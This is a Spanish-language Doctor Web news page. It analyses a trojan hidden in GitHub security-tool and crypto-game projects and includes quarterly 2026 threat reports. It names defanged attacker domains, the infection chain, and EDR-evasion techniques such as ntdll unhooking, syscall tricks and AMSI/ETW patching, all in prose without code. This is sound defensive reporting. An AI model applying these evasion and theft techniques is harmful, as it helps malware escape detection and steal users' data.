Todas las noticias

Descaro sin límites. Detectado en GitHub un troyano dirigido a expertos en seguridad informática

Thu, 05 Nov 2026 03:00:00 GMT

Los repositorios infectados de GitHub llamaron la atención de los expertos del laboratorio antivirus de Doctor Web. En ellos se detectaron proyectos del entorno de desarrollo Microsoft Visual Studio con código malicioso incluido en los archivos .suo y .csproj, así como en archivos de código fuente en Python y Go. La carga útil final es la aplicación Microsoft.exe, capaz de esquivar de forma ingeniosa las capas de protección para realizar funciones de backdoor y clipper y robar datos valiosos de los usuarios. El detalle más intrigante de este caso es que los proyectos maliciosos están dirigidos a usuarios interesados en los criptojuegos y a… expertos en seguridad informática. En el momento del análisis, había más de 2000 equipos infectados.

Origen de la infección

Los primeros repositorios infectados aparecieron hace dos años. Las primeras versiones estaban dirigidas a usuarios de monederos de criptomonedas, ya que los ciberdelincuentes publicaban repositorios con proyectos de Visual Studio relacionados con criptojuegos, así como bots y trucos para estos juegos.

Un ejemplo de repositorio infectado para el juego de Telegram Catizen

Estos repositorios contienen:

un archivo .csproj con una instrucción PreBuildEvent que ejecuta código malicioso antes de compilar el proyecto,
archivos .suo con un comando de PowerShell integrado.

Los ciberdelincuentes incluso se «preocuparon» por los usuarios sin los conocimientos técnicos suficientes para ejecutar el proyecto por su cuenta y adjuntaron instrucciones para instalar Visual Studio y clonar el repositorio.

Un archivo .csproj con código malicioso

Sin embargo, los creadores de virus han redirigido ahora sus troyanos a otro público objetivo: los expertos en seguridad informática. Ahora el malware se oculta en proyectos de automatización de escaneos, pruebas de seguridad de sistemas y análisis de registros. A la carga útil anterior se han añadido archivos .go y .py en los que el código malicioso se oculta tras una gran cantidad de espacios en blanco. En los repositorios infectados se han detectado varias direcciones de los ciberdelincuentes:

muckanthropic[.]com
muckduck.duckdns[.]org
muckcoding[.]com
muckdeveloper[.]com
130.12.182[.]172

Un repositorio infectado que contiene un script para analizar, limpiar y formatear los resultados de Fscan

Un archivo de Python con código malicioso insertado

Un archivo de Go con código malicioso insertado

Esquema de infección

PowerShell.Packed.270

Tras descargar los archivos infectados, se ejecuta un script de PowerShell en el equipo del usuario. Ejemplos de posibles rutas:

C:\Users\Public\Pictures\t.ps1,
C:\Users\Public\Pictures\L.ps1.

PowerShell.Packed.270

El script puede conectarse tanto a los servidores de los ciberdelincuentes como a servicios legítimos: YouTube, Telegram, Documentos de Google, GitCode y Pastebin.

Una cadena cifrada en el servicio Pastebin

De allí, el troyano obtiene una cadena que, una vez descifrada, se convierte en un enlace al archivo comprimido Quixo.7z. A continuación, el archivo se descarga de los servidores de los ciberdelincuentes o de GitHub y se descomprime en el directorio C:\ProgramData\Windows.Microsoft.Photos.

Microsoft.exe (Trojan.Loader.3261)

El archivo comprimido contiene una aplicación desarrollada con el framework Electron, que es la que causa los daños. El troyano tiene una estructura modular compleja y, en el momento de redactar este artículo, su versión más reciente es la 1.4.5. Trojan.Loader.3261 cuenta con una amplia variedad de funciones:

descarga el archivo Nexara.7z que contiene una carga útil cifrada, configuraciones y archivos auxiliares;
recopila información sobre el equipo y la envía a los ciberdelincuentes a través de un bot de Telegram;
se configura para ejecutarse automáticamente al iniciar el sistema;
mejora sus privilegios de dos formas distintas;
desactiva Windows Defender, UAC, las notificaciones, System Restore, VSS;
añade excepciones a Windows Defender;
inyecta archivos maliciosos en procesos legítimos (BackDoor.AsyncRAT.115, Trojan.InjectNET.14);
descomprime y ejecuta una carga útil adicional del archivo Nexara/Nvdia.7z (JS.Stealer.191);
desinstala los antivirus McAfee, ESET y Malwarebytes;
modifica el archivo ubicado en C:\windows\system32\drivers\etc\hosts.

Los creadores de virus llamaron mode3, mode2, mode3non y handler a los métodos de inyección de archivos maliciosos. Los analizaremos uno por uno.

Mode3

Los desarrolladores programaron este modo para intentar esquivar los sistemas de protección. Para ello, emplea varias técnicas.

PPID spoofing — suplanta el PID del proceso padre por el identificador de explorer.exe.
Smart App Control bypass — esquiva la función de protección Smart App Control que bloquea los programas que no son de confianza o que son potencialmente peligrosos antes de que se ejecuten. Para ello, el troyano modifica el valor del parámetro VerifiedAndReputablePolicyState en el registro de Windows.
Ntdll.dll unhooking — neutraliza los hooks instalados en la biblioteca del sistema ntdll por ejemplo, por un sistema EDR. El troyano lee el archivo original ntdll.dll del disco y lo compara con la versión cargada en el proceso. Si detecta diferencias que parecen instrucciones de hooks, las sobrescribe con los datos originales de la biblioteca.
Halo's Gate — permite llamar funciones del sistema de Windows directamente mediante syscall, lo que dificulta que los sistemas EDR intercepten las llamadas. El troyano extrae los números SSN de las funciones NT necesarias para realizar las inyecciones.
ETW patch — desactiva la telemetría de Event Tracing for Windows mediante la aplicación de un parche a ntdll.dll!EtwEventWrite en la memoria del proceso.
AMSI patch — modifica la función AmsiScanBuffer de la biblioteca amsi.dll de modo que los scripts que se ejecutan en el proceso no se envían al antivirus para su análisis.

En caso de conseguir esquivar las protecciones, el troyano elige uno de los siguientes procesos en el que inyectarse: RegAsm.exe, dwwin.exe, dwm.exe. Los módulos maliciosos están en los archivos extraídos de Nexara.7z: boot_f, kernel_f, thread_f. Están cifrados y sus claves de cifrado se encuentran en Nexara /manifest/config.json, en los valores b_f, k_f, t_f.

Tras inyectarse en los procesos, el troyano comprueba las conexiones con el servidor de control mediante un script de PowerShell y la utilidad Netstat. Si falla la inyección de al menos una de las cargas útiles, el script puede enviar un informe de error al bot de Telegram.

Mode2

El troyano utiliza este modo si no ha conseguido ejecutar la carga útil. Mode2 sigue estos pasos:

descifra y comprueba los archivos thumbcache_{11..20}.dll del archivo comprimido Nexara.7z, que contienen las funciones de inyección;
añade regasm.exe y dwm.exe a las excepciones de Windows Defender;
descifra los fragmentos de un script de PowerShell (PowerShell.Inject.245) almacenados en la configuración, guarda el script en la carpeta temp con un nombre aleatorio y lo ejecuta. A su vez, el script descifra los archivos boot_f, kernel_f, thread_f y los inyecta en el proceso RegAsm.exe;
busca el archivo cryptwizard, lo descifra y lo inyecta en el proceso dwwin.exe. En el momento de redactar esta noticia, este archivo no existe y su indicador de ejecución está establecido en false;
comprueba las conexiones con el servidor C2 mediante un script de PowerShell y la utilidad Netstat.

Mode3non

Reproduce las funciones de Mode3, excepto las técnicas de esquivar las protecciones.

Handler

Reproduce el procedimiento de ejecución de módulos maliciosos descrito para Mode2. Este modo es menos flexible y modular que Mode2. Por ejemplo, no utiliza configuraciones: todos los datos están incorporados directamente en el código. Es posible que se trate de una versión antigua del procedimiento de ejecución que los creadores de virus decidieron conservar en el código.

El objetivo principal de todos los modos descritos anteriormente es ejecutar tres cargas útiles maliciosas: dos archivos BackDoor.AsyncRAT.115 y Trojan.InjectNET.14.

BackDoor.AsyncRAT.115

Un toyano que proporciona a los ciberdelincuentes acceso completo al equipo infectado. Se inyectan en los procesos dos archivos maliciosos idénticos que solo se diferencian en los puertos de conexión. Probablemente, para que dos operadores puedan controlar un mismo equipo de forma simultánea.

Trojan.InjectNET.14

Este troyano inyecta en el proceso regasm.exe el archivo Trojan.Clipper.688 que suplanta las direcciones de los monederos de criptomonedas en el portapapeles. Durante la suplantación, realiza una captura de pantalla y la envía al bot de Telegram junto con información sobre la versión del clipper, el nombre de la ventana activa, el nombre de usuario y su dirección IP.

Tras inyectar las cargas útiles, el troyano extrae del archivo comprimido Nexara/Nvdia.7z otro programa desarrollado con el framework Electron: el stealer JS.Stealer.191.

JS.Stealer.191

El troyano comprueba si se está ejecutando en un entorno virtual aislado (sandbox) o en una máquina virtual, recopila información sobre el equipo infectado y roba datos del usuario:

datos de los navegadores;
archivos XML del programa FileZilla;
el archivo MobaXterm.ini del programa MobaXterm;
el archivo wcx_ftp.ini del programa TotalCommander;
configuraciones de VPN;
archivos de aplicaciones de mensajería;
cuentas de juegos;
cuentas de servicios de juegos;
tokens de Discord.

Los datos robados se comprimen y se envían a los ciberdelincuentes a través de un bot de Telegram.

Si en el equipo infectado están instalados los antivirus ESET, McAfee o Malwarebytes, el troyano intenta desinstalarlos.

Código de desinstalación de los antivirus

El troyano añade al archivo del sistema system32\drivers\etc\hosts una entrada para bloquear varios dominios de proveedores de antivirus. Además, el malware elimina todos los archivos y carpetas del directorio system32\drivers\etc\, salvo los archivos permitidos hosts, networks, protocol, services, lmhosts.sam, con el fin de impedir que el usuario recurra a las copias de seguridad.

Futuras funciones

Los ciberdelincuentes modifican constantemente el código y añaden nuevas funciones al troyano. Por ejemplo, los investigadores detectaron funciones sin utilizar destinadas a descargar y ejecutar otro archivo comprimido — Lodge.7z. Este solo contiene un proyecto desarrollado con el framework Electron que aún está en desarrollo. Su archivo ejecutable es WUDFHost.exe. El código permite identificar algunas de sus futuras funciones:

creación de un servicio mediante la utilidad sc.exe para garantizar la persistencia de Microsoft.exe;
comprobación de la presencia de Microsoft.exe en el disco y nueva descarga si no se encuentra;
supervisión del inicio automático;
instalación de sus propias actualizaciones.

Como puede verse en la descripción de sus funciones, el troyano supone un grave peligro incluso para los usuarios avanzados, incluidos los expertos en seguridad informática. Para evitar la infección del equipo, recomendamos actualizar las bases de datos de virus de forma periódica y analizar todos los archivos descargados de Internet. Los antivirus Dr.Web Security Space y Dr.Web Desktop Security Suite detectan este troyano y eliminan rápidamente los archivos infectados.

Más información sobre Trojan.Loader.3261

Más información sobre Trojan.Clipper.688

Más información sobre JS.Stealer.191

Indicadores de compromiso

Ya está disponible para descargar la nueva versión de Dr.Web Security Space para dispositivos móviles

Tue, 20 Oct 2026 10:06:01 GMT

La empresa Doctor Web ha lanzado una nueva versión del software Dr.Web Security Space para dispositivos móviles con sistema operativo Android. En esta nueva versión se han corregido errores, se ha actualizado el motor antivirus y se han mejorado determinados mecanismos de funcionamiento de la aplicación.

En la nueva versión se ha actualizado el acuerdo de licencia y se ha mejorado la detección de amenazas en tarjetas SD y dispositivos de almacenamiento externos, así como la compatibilidad con determinados modelos de dispositivos. La actualización también incluye otros cambios internos destinados a mejorar la estabilidad de la aplicación.

Si utiliza una versión de Dr.Web Security Space para dispositivos móviles instalada desde el sitio web oficial de Doctor Web, deberá reinstalar por completo la aplicación para actualizarla. Para ello, descargue la última versión desde nuestro sitio web .

Doctor Web: informe de la actividad de virus para dispositivos móviles en el tercer trimestre del 2026

Thu, 01 Oct 2026 03:00:00 GMT

1 de octubre de 2026

Según las estadísticas de detecciones de Dr.Web Security Space para dispositivos móviles, en el tercer trimestre de 2026 se observó un repunte de la actividad de los troyanos Android.Proxy, que permiten a los ciberdelincuentes redirigir el tráfico de red a través de los dispositivos de las víctimas y anonimizar su conexión a Internet. El aumento se debió principalmente a los troyanos Android.Proxy.60.origin y Android.Proxy.61.origin, que en conjunto representaron más del 22 % de todas las detecciones de malware. Estos añaden los dispositivos infectados a botnets proxy y convierten cada uno de ellos en un nodo de salida de la red proxy correspondiente.

En comparación con el segundo trimestre, el número de ataques de troyanos bancarios Android.Banker aumentó ligeramente, y este malware, con una cuota del 18,06 %, se situó en segundo lugar. Como anteriormente, los más activos fueron los representantes de la subfamilia Android.Banker.Mamont, capaces, entre otras cosas, de interceptar el contenido de los SMS y las notificaciones con el fin de robar códigos de confirmación de un solo uso para operaciones bancarias.

Al mismo tiempo, los usuarios afrontaron con menor frecuencia los troyanos publicitarios de las familias Android.MobiDash y Android.HiddenAds. El número de detecciones durante los últimos tres meses volvió a disminuir, un 30,96 % y un 14,36 %, respectivamente, y su cuota conjunta entre el malware detectado no supera actualmente el 10 %.

Entre el software potencialmente peligroso siguen liderando los programas a los que se añade, mediante la herramienta de hacking para modding NP Manager, código basura que dificulta la comprensión de la lógica de las aplicaciones. Los creadores de virus utilizan esta técnica para proteger el malware frente a los antivirus. Por ejemplo, se emplea activamente para proteger los troyanos bancarios Android.Banker.Mamont. En el tercer trimestre, estas modificaciones (detectadas como Tool.Obfuscator.TrashCode) representaron el 69,01 % de las detecciones de aplicaciones potencialmente peligrosas.

El segundo lugar volvió a corresponder a los programas modificados mediante otras funciones de NP Manager. Por ejemplo, los ciberdelincuentes pueden ofuscar el código de los troyanos para protegerlos frente a la detección y el análisis. La cuota de estos mods (detectados como Tool.NPMod) fue del 19,16 % del total de detecciones de software potencialmente peligroso. Completan los tres primeros puestos los programas modificados mediante la utilidad Tool.LuckyPatcher. Esta utilidad descarga de Internet scripts especialmente preparados que pueden representar un peligro potencial, ya que puede crearlos cualquier persona, incluidos los creadores de virus. Los programas modificados de este modo representaron el 5,77 % de las detecciones.

Las aplicaciones no deseadas más extendidas en el tercer trimestre siguieron siendo Program.FakeAntiVirus, programas que imitan el funcionamiento de los antivirus. Informan a los usuarios de que han detectado determinadas amenazas y, para «eliminar» la infección, ofrecen adquirir la versión completa. La cuota de este software sobre el total de detecciones de programas no deseados aumentó del 44,10 % al 51,09 % con respecto al periodo de observación anterior.

El adware más extendido fueron los módulos Adware.AdPush, que se integran en aplicaciones para Android. En el tercer trimestre representaron el 39,46 % de las detecciones de amenazas de este tipo. Estos módulos muestran notificaciones publicitarias que inducen a error a los usuarios. También recopilan determinados datos confidenciales.

Durante los últimos tres meses se observó un aumento de la actividad de los módulos publicitarios Adware.Airpush: su cuota aumentó del 7,39 % al 10,34 %. Entre ellos siguen destacando las modificaciones Adware.Airpush.7.origin. Los módulos de Adware.Airpush pueden mostrar notificaciones publicitarias, banners y ventanas emergentes, y los ciberdelincuentes también los utilizan para distribuir malware.

Los usuarios continuaron afrontando el adware Adware.Opensite.15, aunque su actividad disminuyó con respecto al segundo trimestre: su cuota cayó del 14,26 % al 7,90 %. Estas aplicaciones se distribuyen bajo la apariencia de programas con trucos para obtener distintos recursos en los juegos, pero se limitan a cargar sitios web con publicidad. También perdieron presencia las aplicaciones Adware.Bastion.1.origin, que habían figurado entre las más activas durante los últimos meses. Representaron el 5,73 % de las detecciones de adware. Estas aplicaciones generan notificaciones con mensajes engañosos que advierten de supuestos errores del sistema y de falta de memoria RAM. Durante la «optimización», muestran publicidad.

Durante el tercer trimestre, los expertos del laboratorio antivirus de Doctor Web detectaron en el catálogo de Google Play numerosas aplicaciones maliciosas nuevas, entre ellas decenas de troyanos Android.Joker, que suscriben a los usuarios a servicios móviles de pago. Al analizar estos troyanos, nuestros expertos descubrieron que los creadores de virus habían ampliado las funciones de esta familia. Algunas modificaciones de Android.Joker ahora pueden no solo realizar suscripciones, sino también convertir los dispositivos infectados en nodos de salida de una botnet proxy. En Google Play también se distribuyeron nuevas aplicaciones falsas de la familia Android.FakeApp, utilizadas en distintos esquemas fraudulentos.

TENDENCIAS CLAVE DEL TERCER TRIMESTRE

Los usuarios afrontaron una elevada actividad del malware Android.Proxy, mediante el cual los ciberdelincuentes pueden redirigir el tráfico de red a través de los dispositivos de las víctimas.
Se observó un aumento del número de ataques de troyanos bancarios Android.Banker.
Continuó disminuyendo la actividad de los troyanos publicitarios Android.MobiDash y Android.HiddenAds.
En el catálogo de Google Play se detectaron decenas de aplicaciones maliciosas.
Los troyanos Android.Joker incorporaron una funcionalidad que permite convertir los dispositivos infectados en nodos de salida de una botnet proxy.

Según los datos de Dr.Web Security Space para dispositivos móviles

Android.Proxy.60.origin
Android.Proxy.61.origin: Malware que convierte los dispositivos infectados en nodos de salida de botnets proxy y permite a los ciberdelincuentes redirigir el tráfico de red a través de ellos.
Android.SpyMax.17: Spyware con una amplia variedad de funciones. Los ciberdelincuentes lo utilizan, entre otras cosas, como troyano bancario para interceptar SMS con códigos de verificación enviados por entidades de crédito.
Android.HiddenAds.4236: Un troyano diseñado para mostrar publicidad intrusiva. Los representantes de la familia Android.HiddenAds suelen distribuirse bajo la apariencia de aplicaciones inofensivas y, en algunos casos, son instalados en el directorio del sistema por otro malware. Una vez que llegan a los dispositivos Android, estos troyanos publicitarios suelen ocultar al usuario su presencia en el sistema; por ejemplo, «esconden» el icono de la aplicación del menú de la pantalla de inicio.
Android.Banker.Mamont.263.origin: Un troyano bancario que intercepta SMS con códigos de un solo uso enviados por entidades de crédito y el contenido de las notificaciones, además de recopilar otra información confidencial. Esta incluye datos técnicos sobre el dispositivo infectado, la lista de aplicaciones instaladas, información sobre la tarjeta SIM, las llamadas telefónicas y los SMS recibidos y enviados.

Program.FakeAntiVirus.1
Program.FakeAntiVirus.5.origin
Program.FakeAntiVirus.5: Detección de programas publicitarios que imitan el funcionamiento de software antivirus. Estas aplicaciones pueden inducir a error a los usuarios e informar de amenazas inexistentes o identificar erróneamente aplicaciones seguras como maliciosas. En algunos casos, para «eliminar» las amenazas supuestamente detectadas, pueden exigir la compra de la versión completa del software.
Program.FakeMoney.11: Detección de aplicaciones que supuestamente permiten ganar dinero realizando determinadas acciones o tareas. Estos programas simulan la obtención de recompensas y, para retirar el dinero «ganado», es necesario acumular una determinada cantidad. Por lo general, incluyen una lista de sistemas de pago y bancos populares a través de los cuales supuestamente es posible retirar las recompensas. Sin embargo, incluso cuando los usuarios consiguen acumular una cantidad suficiente para retirarla, los pagos prometidos no llegan. Esta entrada también detecta otro software no deseado basado en el código de estos programas.
Program.CloudInject.1: Detección de aplicaciones para Android modificadas mediante el servicio en la nube CloudInject y la utilidad para Android del mismo nombre (añadida a la base de virus de Dr.Web como Tool.CloudInject). Estos programas se modifican en un servidor remoto, mientras que el usuario interesado en modificarlos (modder) no controla qué se incorpora exactamente en ellos. Además, las aplicaciones obtienen una serie de permisos peligrosos. Una vez modificados los programas, el modder puede controlarlos de forma remota: bloquearlos, mostrar cuadros de diálogo configurables, realizar un seguimiento de la instalación y eliminación de otro software, etc.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Detección de programas para Android a los que se añade código basura mediante herramientas de hacking para el modding de aplicaciones. Este tipo de modificación se realiza con el fin de dificultar la comprensión de la lógica de los programas. Esta técnica se utiliza con frecuencia en troyanos bancarios y en versiones piratas de software.
Tool.NPMod.3
Tool.NPMod.1: Detección de aplicaciones para Android modificadas mediante la utilidad NP Manager. Esta utilidad contiene módulos para ofuscar y proteger el código de los programas, así como para eludir la comprobación de su firma digital después de modificarlos. La ofuscación que añade se utiliza con frecuencia en el malware para dificultar su detección y análisis.
Tool.LuckyPatcher.2.origin: Utilidad que permite modificar aplicaciones para Android instaladas (crear parches para ellas) con el fin de cambiar la lógica de su funcionamiento o eludir determinadas restricciones. Por ejemplo, con su ayuda los usuarios pueden intentar desactivar la comprobación del acceso root en aplicaciones bancarias u obtener recursos ilimitados en los juegos. Para crear los parches, la utilidad descarga de Internet scripts especialmente preparados que cualquier usuario puede crear y añadir a la base de datos común. Las funciones de estos scripts también pueden ser maliciosas, por lo que los parches creados pueden representar un peligro potencial.

Adware.AdPush.3.origin
Adware.Adpush.21846: Módulos publicitarios que pueden integrarse en programas para Android. Muestran notificaciones publicitarias que inducen a error a los usuarios. Por ejemplo, estas notificaciones pueden parecer mensajes del sistema operativo. Además, estos módulos recopilan determinados datos confidenciales y también pueden descargar otras aplicaciones e iniciar su instalación.
Adware.Opensite.15: Aplicaciones que se hacen pasar por herramientas de trucos para obtener recursos en los juegos. En realidad, están diseñadas para mostrar publicidad. Estos programas reciben de un servidor remoto una configuración según la cual cargan un sitio web determinado con anuncios: banners, ventanas emergentes, vídeos, etc.
Adware.Airpush.7.origin: Módulos de software que se integran en aplicaciones para Android y muestran distintos tipos de publicidad. Dependiendo de la versión y la modificación, pueden ser notificaciones publicitarias, ventanas emergentes o banners. Los ciberdelincuentes utilizan con frecuencia estos módulos para distribuir malware, ofreciendo instalar determinados programas. Además, estos módulos transmiten distinta información confidencial a un servidor remoto.
Adware.Bastion.1.origin: Detección de programas de optimización que crean periódicamente notificaciones con mensajes engañosos sobre una supuesta falta de memoria y errores del sistema con el fin de mostrar publicidad durante la «optimización».

Amenazas en Google Play

En el tercer trimestre de 2026, los expertos del laboratorio antivirus de Doctor Web detectaron más de 50 aplicaciones maliciosas en el catálogo de Google Play. La mayoría pertenecían a la familia de troyanos Android.Joker, que suscriben de forma no autorizada a los usuarios a servicios móviles de pago. Para ello, roban códigos de confirmación de un solo uso interceptando los SMS y el contenido de las notificaciones. Los creadores de virus distribuían estos troyanos bajo la apariencia de distintos tipos de software, incluidos servicios de mensajería, utilidades para optimizar el funcionamiento de los dispositivos, aplicaciones de cámara, herramientas de reconocimiento de texto y reproductores multimedia para ver películas y series online.

Ejemplos de aplicaciones de Google Play que ocultaban troyanos Android.Joker: Special Camera — Android.Joker.2679, Color Messages — Android.Joker.2682

Al estudiar nuevas muestras de Android.Joker, nuestros expertos descubrieron que a algunas de ellas se les había añadido una funcionalidad que permite convertir los dispositivos infectados en nodos de salida de una botnet proxy. Los ciberdelincuentes pueden utilizar esta funcionalidad para vender servicios de acceso a Internet a través de la red de las víctimas.

El análisis mostró que uno de los servidores de control de la botnet no estaba protegido mediante autenticación. Gracias a ello, los analistas de virus de Doctor Web pudieron obtener del panel de control información sobre las estadísticas de su funcionamiento, así como sobre las aplicaciones en las que se habían incorporado módulos maliciosos de Android.Joker. Según los datos disponibles a finales de agosto, más de 187.000 dispositivos estaban infectados con las versiones actualizadas de los troyanos de esta familia, mientras que el número de clientes activos de la red proxy ilegal alcanzaba los 93.

Panel web de control de una botnet proxy basada en dispositivos infectados con algunas modificaciones de Android.Joker

Entre las demás amenazas detectadas se encontraban nuevas variantes de los troyanos Android.FakeApp, capaces de cargar distintos sitios web, incluidos sitios maliciosos y fraudulentos. Se distribuían bajo la apariencia de programas para gestionar las finanzas y planificar el presupuesto familiar, aplicaciones de organización para tomar notas, programas para buscar empleo y distintos juegos. Para ocultar su verdadera finalidad, la mayoría de estos troyanos ofrecían realmente las funciones declaradas, pero, en determinadas condiciones, el malware cargaba en su lugar sitios web fraudulentos.

Ejemplos de aplicaciones falsas maliciosas Android.FakeApp que nuestros expertos detectaron en Google Play en el tercer trimestre de 2026

Por ejemplo, Android.FakeApp.2022 cargaba un sitio web en el que se mostraba una lista de «ofertas de empleo actuales» con salarios elevados y condiciones laborales atractivas. Además, en el diseño del recurso web fraudulento se utilizaba un logotipo creado con el estilo y los colores del logotipo oficial del portal ruso de servicios públicos «Gosuslugi».

Una de las ofertas de empleo supuestamente disponibles para la víctima potencial

Se ofrecía a los usuarios consultar con más detalle las ofertas de empleo que les interesaban. Para ello, debían enviar una solicitud, tras lo cual supuestamente podían «empezar a ganar dinero hoy mismo». Los ciberdelincuentes solicitaban información confidencial, incluidos el nombre y los apellidos, la edad, la nacionalidad y el número de teléfono móvil, y también ofrecían elegir una hora conveniente para recibir una llamada de un «experto».

Un sitio web cargado por el troyano recopila datos personales que los estafadores pueden utilizar posteriormente para engañar a sus víctimas

Para proteger los dispositivos Android frente a malware y software no deseado, recomendamos a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Doctor Web: informe de la actividad de virus en el III trimestre del año 2026

Thu, 01 Oct 2026 00:00:00 GMT

1 de octubre de 2026

Según las estadísticas de detecciones del antivirus Dr.Web, en el tercer trimestre de 2026 los usuarios afrontaron amenazas un 14,86 % menos que en el segundo trimestre. El número de archivos únicos utilizados en los ataques disminuyó un 49,26 %. Al mismo tiempo, en comparación con el periodo de observación anterior, entre las amenazas detectadas se registró un 63,39 % menos de archivos únicos. En los dispositivos protegidos, las detecciones más frecuentes correspondieron a programas publicitarios y troyanos publicitarios, malware que roba contraseñas y otra información confidencial, así como droppers y descargadores que instalan distintas amenazas en el sistema objetivo. Además, siguieron mostrando actividad los troyanos utilizados para iniciar automáticamente otras aplicaciones maliciosas.

El número de solicitudes de descifrado recibidas por el Servicio de Soporte Técnico de Doctor Web aumentó un 5,85 % con respecto al segundo trimestre. Las solicitudes estuvieron relacionadas principalmente con los encoders Trojan.Encoder.35534, Trojan.Encoder.41868 и Trojan.Encoder.44474.

En el tráfico de correo electrónico, las detecciones más frecuentes correspondieron a scripts maliciosos, la mayoría de los cuales eran descargadores y droppers que instalaban otras amenazas en el sistema atacado. Además, a través del correo electrónico se distribuyeron documentos de phishing, exploits y diversas aplicaciones troyanas. Entre estas últimas, al igual que en el caso de los scripts maliciosos, la mayor actividad correspondió a droppers y descargadores.

En el tercer trimestre, los analistas de Internet de Doctor Web continuaron observando un creciente interés de los estafadores por los usuarios de la aplicación de mensajería rusa MAX. Nuestros especialistas detectaron numerosos sitios web de phishing nuevos creados con el objetivo de robar cuentas de esta plataforma. Al mismo tiempo, los ciberdelincuentes siguieron interesados en obtener acceso a cuentas de otras aplicaciones de mensajería, como Telegram. Los usuarios también afrontaron otros sitios web de phishing, entre ellos nuevos recursos web bancarios falsos.

En julio, el laboratorio antivirus de Doctor Web alertó sobre un troyano que ataca a desarrolladores de software. Este infecta proyectos escritos en los lenguajes de programación C++ y C#, de modo que las aplicaciones compiladas también quedan infectadas y contribuyen a seguir propagando la amenaza. Además, si los proyectos infectados se publican y quedan disponibles para su descarga, otros desarrolladores que los descarguen y utilicen también comprometen sus sistemas y todos los programas que crean. Este troyano incorpora varias funciones maliciosas a la vez: actúa como ladrón de datos, minero de criptomonedas y puerta trasera, además de como clipper que roba información del portapapeles.

Durante los últimos tres meses, los usuarios de Android afrontaron con mayor frecuencia el malware Android.Proxy, que permite redirigir el tráfico de los ciberdelincuentes a través de los dispositivos infectados. Además, se observó un aumento de la actividad de los troyanos bancarios Android.Banker. Entre los líderes por número de detecciones siguen figurando programas para Android modificados mediante herramientas de hacking. Los creadores de virus los utilizan para proteger el malware frente a la detección y el análisis.

Durante el tercer trimestre, los analistas de virus de Doctor Web detectaron decenas de troyanos en el catálogo de Google Play. Entre ellos había numerosos troyanos Android.Joker, que suscriben a las víctimas a servicios de pago. Asimismo, nuestros expertos descubrieron que algunas nuevas modificaciones de este malware incorporan una funcionalidad que permite convertir los dispositivos infectados en nodos de salida de una botnet proxy.

Tendencias clave del III trimestre

Los usuarios afrontaron distintas amenazas con menor frecuencia.
Disminuyó el número de archivos únicos utilizados en los ataques.
Entre las amenazas detectadas hubo menos archivos únicos.
El número de solicitudes de descifrado de archivos afectados por ransomware aumentó con respecto al segundo trimestre.
Los estafadores de Internet continuaron atacando activamente a los usuarios de la aplicación de mensajería rusa MAX con el objetivo de acceder a sus cuentas.
Los analistas de virus de Doctor Web detectaron un peligroso troyano multifuncional dirigido a desarrolladores de software que, para propagarse, infecta proyectos escritos en los lenguajes de programación C++ y C#.
Las amenazas para Android más populares fueron los troyanos de la familia Android.Proxy, que permiten redirigir el tráfico de red de los ciberdelincuentes a través de los dispositivos infectados.
En el catálogo de Google Play se detectó nuevo malware.

Según los datos del servicio de estadísticas Doctor Web

Las amenazas más populares en el III trimestre del año 2026

Adware.Downware.20091: Adware que actúa como instalador intermediario de software pirata.
Trojan.Siggen31.34463: Un troyano escrito en el lenguaje de programación Go y diseñado para descargar distintos mineros y adware en el sistema objetivo. El malware es un archivo DLL y se encuentra en %appdata%\utorrent\lib.dll. Para ejecutarse, explota una vulnerabilidad de tipo DLL Search Order Hijacking en el cliente de torrents uTorrent.
Trojan.PWS.Salat.390: Un programa toyano que roba contraseñas de distintos servicios, así como otra información confidencial.
Adware.Ubar.20: Un cliente de torrents que instala software no deseado en el dispositivo.
Adware.Proxy.32: Un programa que convierte el ordenador objetivo en un nodo de salida de una red proxy y permite redirigir tráfico de terceros a través del dispositivo.

Estadísticas de malware en el tráfico de correo

Las amenazas más populares del III trimestre del año 2026 en el tráfico de correo

X97M.DownLoader.2343: Un archivo XLSX (formato de hoja de cálculo de Microsoft Excel) con un objeto OLE que descarga un archivo malicioso en el ordenador atacado.
W97M.DownLoader.2938: Una familia de troyanos descargadores que explotan vulnerabilidades de documentos de Microsoft Office. Están diseñados para descargar otro malware en el ordenador atacado.
JS.DownLoader.9376: Un script malicioso en formato JavaScript que descarga otro malware en el sistema objetivo.
VBS.Starter.541: Un script malicioso en formato Visual Basic Script. Está diseñado para ejecutar distintas aplicaciones maliciosas en los ordenadores objetivo.
JS.Muldrop.1417: Un script malicioso en formato JavaScript que ejecuta en el sistema objetivo el malware oculto en su interior.

Cifradores

En comparación con el segundo trimestre, el número de solicitudes de descifrado de archivos afectados por troyanos ransomware aumentó un 5,82 %.

Dinámica de las solicitudes de descifrado recibidas por el Servicio de Soporte Técnico de Doctor Web:

Las solicitudes de los usuarios estuvieron relacionadas con mayor frecuencia con la actividad de los siguientes encoders:

Trojan.Encoder.35534 — 13,98% de solicitudes
Trojan.Encoder.41868 — 3,76% de solicitudes
Trojan.Encoder.44474 — 3,23% de solicitudes
Trojan.Encoder.30356 — 2,69% de solicitudes
Trojan.Encoder.44383 — 2,15% de solicitudes

Fraudulencias en la red

En el tercer trimestre de 2026 continuó aumentando el interés de los estafadores por los usuarios de la aplicación de mensajería rusa MAX, una tendencia que los analistas de Internet de Doctor Web ya habían observado en el trimestre anterior. Durante los últimos tres meses, nuestros expertos detectaron un amplio grupo de sitios web no deseados con un diseño similar, creados por los ciberdelincuentes para robar cuentas de la aplicación de mensajería. En estos sitios, las víctimas potenciales supuestamente podían acceder a varios servicios y prestaciones. Para ello, bajo distintos pretextos, se les solicitaba su número de teléfono móvil y el código de verificación que recibían en él. En algunos casos, se indicaba directamente a los usuarios que, para obtener lo que deseaban, debían iniciar sesión en su cuenta de MAX. En otros, ni siquiera se mencionaba la autorización y supuestamente el número de teléfono y el código de confirmación solo eran necesarios para comprobar que los visitantes no eran bots. Sin embargo, independientemente del motivo alegado, si los usuarios caían en el engaño y facilitaban los datos correspondientes, el resultado era el mismo: los estafadores obtenían acceso a sus cuentas. Además, en estos sitios eran frecuentes los errores ortográficos, de gramática y de puntuación.

Uno de los pretextos utilizados por los atacantes fue la reanudación de la actividad de la plataforma de juegos Roblox en Rusia a principios del verano. Esta plataforma es popular entre niños y adolescentes, un público tradicionalmente más vulnerable a las ciberamenazas y, por tanto, un objetivo atractivo para los ciberdelincuentes.

